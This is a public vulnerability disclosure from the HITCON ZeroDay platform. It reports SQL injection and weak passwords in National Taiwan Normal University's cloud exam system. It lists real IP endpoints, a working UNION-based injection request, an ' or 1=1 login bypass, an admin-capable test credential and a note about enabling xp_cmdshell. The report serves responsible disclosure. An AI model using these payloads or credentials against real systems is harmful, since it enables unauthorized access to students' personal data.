Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2021-00256
- Vendor: 國立臺灣師範大學
- Title: 國立臺灣師範大學 雲端測驗系統平台資料庫注入漏洞
- Introduction: SQL Injection, Weak Passwords
處理狀態
目前狀態
公開
Last Update : 2021/07/10
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2021/05/16 23:01:33 : 新提交 (由 AlaRduTP 更新此狀態)
- 2021/05/18 00:05:39 : 新提交 (由 AlaRduTP 更新此狀態)
- 2021/05/18 00:17:25 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2021/05/18 11:10:57 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2021/05/18 11:10:57 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2021/05/18 11:10:57 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2021/06/10 17:00:12 : 複測申請中 (由 組織帳號 更新此狀態)
- 2021/06/13 02:29:14 : 未修補完成 (由 AlaRduTP 更新此狀態)
- 2021/06/22 15:14:07 : 複測申請中 (由 組織帳號 更新此狀態)
- 2021/07/10 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2021-00256
- 通報者:alardutp37259418 (AlaRduTP)
- 風險:高
- 類型:資料庫注入攻擊 (SQL Injection)
參考資料
攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection
漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection
漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html
防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
http://140.122.69.39/test/AJAX/TestSystem/題本讀取.ashx?Kind={INJECTION}
http://140.122.69.39/test/AJAX/Transcripts/成績查詢.ashx?FCM={INJECTION}
http://140.122.69.135:8888/Handler.ashx
http://140.122.69.135:8888/Login.aspx
http://140.122.69.39/test/AJAX/Transcripts/成績查詢.ashx?FCM={INJECTION}
http://140.122.69.135:8888/Handler.ashx
http://140.122.69.135:8888/Login.aspx
敘述
SQL Injection
-
http://140.122.69.135:8888/Handler.ashx
POST /Handler.ashx HTTP/1.1 Host: 140.122.69.135:8888 Content-Type: application/x-www-form-urlencoded action=getSnameScountry=aaaSsystem=bbb'++AND+1%2F**%2F%3D%2F**%2F2+UNION+SELECT+%40%40servername--
透過 SQL Injection 可以對資料表做 CRUD,且似乎擁有系統管理員權限,可以設定 show advanced option、xp_cmdshell 等等 config,但並無深入測試是否能拿到 shell。
使用 ' or 1/**/=/**/1-- 作為帳號可以登入管理員帳號。
Weak Passwords
使用 aaaaaa / 12345678 可以登入測試帳號,且具有管理員權限。
隱藏頁面(?
可以繞過登入步驟,以管理員身份查看測驗資料。
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。